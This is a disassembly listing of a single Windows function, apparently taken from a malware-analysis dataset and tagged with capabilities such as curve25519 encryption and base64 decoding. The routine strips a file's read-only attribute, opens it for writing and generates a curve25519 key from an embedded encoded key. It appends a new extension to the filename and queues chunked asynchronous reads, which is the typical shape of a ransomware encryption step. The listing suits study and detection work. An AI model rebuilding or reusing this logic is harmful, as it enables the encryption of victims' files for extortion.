Function at 0x405920
Capabilities:
Decode data using base64 via winapi
Encrypt data using curve25519
Generate random numbers via winapi
Get file attributes
Get file size
Read file on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0xb8
mov eax, dword [0x428004]
xor eax, esp
mov dword [esp + 0xb4], eax
push esi
mov esi, ecx
push edi
push esi
mov dword [esp + 0x10], esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
and eax, 0xfffffffe
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov ecx, esi
call fcn.00405800
test al, al
jne 0x40599e
cmp dword [0x42927c], 0
je 0x40597f
mov ecx, esi
call fcn.004053e0
cmp eax, 1
jne 0x40597f
mov ecx, esi
call fcn.00405800
test al, al
jne 0x40599e
mov ecx, esi
call fcn.00407280
cmp eax, 1
jne 0x405d9e
mov ecx, esi
call fcn.00405800
test al, al
je 0x405d9e
push 0
push 0x40000080
push 3
push 0
push 0
push 0xc0000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov dword [esp + 0x2c], esi
cmp esi, 0xffffffff
je 0x405d9e
lea eax, [esp + 0xb0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov ecx, dword [esp + 0xb0]
or ecx, dword [esp + 0xb4]
jne 0x405a00
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov ecx, dword [esp + 0xb4]
xor ecx, esp
call fcn.004096d4
mov esp, ebp
pop ebp
ret
push 0x148
call fcn.0040d6b1
add esp, 4
mov dword [esp + 0x18], eax
push 0x148
push 0
push eax
call fcn.0040a6b0
add esp, 0xc
lea eax, [esp + 0x50]
push 0x50
push 0
push eax
call fcn.0040a6b0
add esp, 0xc
mov byte [esp + 0x30], 9
xorps xmm0, xmm0
mov dword [esp + 0x49], 0
movups xmmword [esp + 0x31], xmm0
mov word [esp + 0x4d], 0
push str.ZbkmfzC8NkmPhZOZDsjLLNCW12UglT0o90yoSBhs
movq qword [esp + 0x45], xmm0
mov byte [esp + 0x53], 0
mov dword [esp + 0xb0], 0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov edi, eax
push 0
push 0
lea eax, [esp + 0xb4]
push eax
push 0
push 1
push edi
push str.ZbkmfzC8NkmPhZOZDsjLLNCW12UglT0o90yoSBhs
call esi
push dword [esp + 0xac]
call fcn.0040d6b1
add esp, 4
mov dword [esp + 0x20], eax
lea ecx, [esp + 0xac]
push 0
push 0
push ecx
push eax
push 1
push edi
push str.ZbkmfzC8NkmPhZOZDsjLLNCW12UglT0o90yoSBhs
call esi
push 0x20
call fcn.0040d6b1
add esp, 4
mov dword [esp + 8], eax
push 0x20
call fcn.0040d6b1
add esp, 4
mov dword [esp + 0x10], eax
push 0x40
call fcn.0040d6b1
add esp, 4
mov dword [esp + 0x14], eax
push 0x10
call fcn.0040d6b1
add esp, 4
mov edi, eax
mov dword [esp + 0x24], edi
push 0x10
call fcn.0040d6b1
mov esi, eax
xorps xmm0, xmm0
mov eax, dword [esp + 0xc]
add esp, 4
mov dword [esp + 0x28], esi
movups xmmword [eax], xmm0
push 0x40
movups xmmword [eax + 0x10], xmm0
mov eax, dword [esp + 0x14]
push 0
push dword [esp + 0x1c]
movups xmmword [eax], xmm0
movups xmmword [eax + 0x10], xmm0
call fcn.0040a6b0
add esp, 0xc
xorps xmm0, xmm0
movups xmmword [edi], xmm0
movups xmmword [esi], xmm0
push dword [esp + 8]
push 0x20
push dword [0x429280]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov ecx, dword [esp + 8]
mov edx, ecx
mov al, byte [ecx + 0x1f]
and byte [ecx], 0xf8
and al, 0x3f
or al, 0x40
mov byte [ecx + 0x1f], al
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x54]
call fcn.004046f0
mov edx, dword [esp + 0xc]
add esp, 4
mov ecx, dword [esp + 0x10]
push dword [esp + 0x20]
call fcn.004046f0
mov ecx, dword [esp + 0x14]
add esp, 4
push dword [esp + 0x14]
call fcn.00408ce0
mov eax, dword [esp + 0x18]
add esp, 4
movups xmm0, xmmword [eax]
push 2
push dword [esp + 0x10]
movups xmmword [edi], xmm0
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
movups xmm0, xmmword [eax + 0x10]
movups xmmword [esi], xmm0
call edi
push 0x4254ac
lea esi, [eax + 1]
call edi
xor ecx, ecx
add eax, esi
add eax, 2
setb cl
neg ecx
or ecx, eax
push ecx
call fcn.0040d6bc
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
add esp, 8
mov esi, eax
mov dword [esp + 0x1c], esi
push dword [esp + 0xc]
push esi
call edi
push 0x420a68
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
call esi
push 0x4254ac
push dword [esp + 0x20]
call esi
mov esi, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
lea ecx, [esi + 0x38]
call section..text
mov eax, dword [esp + 0x28]
push 0x4254a8
movups xmm0, xmmword [eax]
lea eax, [esp + 0x74]
push eax
movups xmmword [esi + 0xe8], xmm0
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [0x4287b4]
mov dword [esp + 0x90], eax
mov dword [esp + 0x94], 0xf4240
mov dword [esp + 0x98], 5
mov dword [esp + 0x9c], 0
mov dword [esi + 0x10], 0
mov eax, dword [esp + 0x2c]
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x14], eax
push dword [esp + 0x94]
call fcn.0040d6b1
add esp, 4
mov dword [esi + 0x30], eax
push 2
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
xor ecx, ecx
add eax, 2
setb cl
neg ecx
or ecx, eax
push ecx
call fcn.0040d6bc
add esp, 8
mov dword [esi + 0x18], eax
push dword [esp + 0xc]
push eax
call edi
mov eax, dword [esp + 0x1c]
mov dword [esi + 0x1c], eax
mov eax, dword [esp + 0xb0]
push dword [esp + 0x20]
mov dword [esi + 0x20], eax
mov eax, dword [esp + 0xb8]
mov dword [esi + 0x24], eax
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
movups xmm0, xmmword [esp + 0x54]
movups xmmword [esi + 0xf8], xmm0
movups xmm0, xmmword [esp + 0x64]
movups xmmword [esi + 0x108], xmm0
movups xmm0, xmmword [esp + 0x74]
movups xmmword [esi + 0x118], xmm0
movups xmm0, xmmword [esp + 0x84]
movups xmmword [esi + 0x128], xmm0
movups xmm0, xmmword [esp + 0x94]
mov dword [esi + 0x34], 1
movups xmmword [esi + 0x138], xmm0
call fcn.0040d6ac
add esp, 4
push dword [esp + 8]
call fcn.0040d6ac
add esp, 4
push dword [esp + 0x10]
call fcn.0040d6ac
add esp, 4
push dword [esp + 0x14]
call fcn.0040d6ac
add esp, 4
push dword [esp + 0x24]
call fcn.0040d6ac
add esp, 4
push dword [esp + 0x28]
call fcn.0040d6ac
mov eax, dword [esp + 0x30]
add esp, 4
push 0
push eax
push dword [0x4291e4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
push esi
push 0
push dword [esp + 0x9c]
push dword [esi + 0x30]
push dword [esi + 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0x4291d8
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov ecx, dword [esp + 0xbc]
pop edi
pop esi
xor ecx, esp
call fcn.004096d4
mov esp, ebp
pop ebp
ret